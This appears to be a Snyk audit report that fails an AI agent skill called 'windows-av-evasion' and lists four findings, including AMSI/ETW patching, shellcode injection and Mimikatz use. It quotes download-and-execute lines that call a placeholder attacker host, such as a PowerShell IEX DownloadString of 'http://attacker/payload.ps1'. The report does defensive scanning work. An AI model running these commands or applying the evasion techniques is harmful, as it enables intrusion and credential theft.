windows-av-evasion

Fail

Audited by Snyk on Apr 9, 2026

Risk Level: CRITICAL
Full Analysis

CRITICAL E006: Malicious code pattern detected in skill scripts.

  • Malicious code pattern detected (high risk: 1.00). This content is an explicit AV/EDR evasion playbook providing step-by-step techniques to disable/patch defenses (AMSI, ETW), execute and inject shellcode, load and obfuscate .NET assemblies, use direct syscalls/fresh ntdll to bypass hooks, and leverage C2 frameworks and tools like Rubeus/Mimikatz—clearly intended to enable remote code execution, credential theft, backdoors and persistent compromise.

MEDIUM W011: Third-party content exposure detected (indirect prompt injection risk).

  • Third-party content exposure detected (high risk: 1.00). The SKILL.md and AMSI_BYPASS_TECHNIQUES.md explicitly instruct downloading and loading payloads from external URLs (e.g., DownloadAndDecrypt("https://attacker/tool.enc") and PowerShell IEX (New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')), meaning the agent would ingest untrusted third-party content that can directly alter execution and decisions.

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

  • Potentially malicious external URL detected (high risk: 1.00). The skill includes explicit runtime download-and-execute examples that fetch and run remote code (e.g., "http://attacker/payload.ps1" in the PowerShell IEX DownloadString example and "https://attacker/tool.enc" in DownloadAndDecrypt/Assembly.Load), so those external URLs would directly deliver and control executable content at runtime.

MEDIUM W013: Attempt to modify system services in skill instructions.

  • Attempt to modify system services in skill instructions detected (high risk: 1.00). The skill explicitly instructs modifying system components and memory (AMSI/ETW patches, overwriting ntdll, process injection, shellcode execution, direct syscalls) to bypass security controls, which directly compromises the host state.

Issues (4)

E006
CRITICAL

Malicious code pattern detected in skill scripts.

W011
MEDIUM

Third-party content exposure detected (indirect prompt injection risk).

W012
MEDIUM

Unverifiable external dependency detected (runtime URL that controls agent).

W013
MEDIUM

Attempt to modify system services in skill instructions.

Audit Metadata
Risk Level
CRITICAL
Analyzed
Apr 9, 2026, 01:13 PM
Issues
4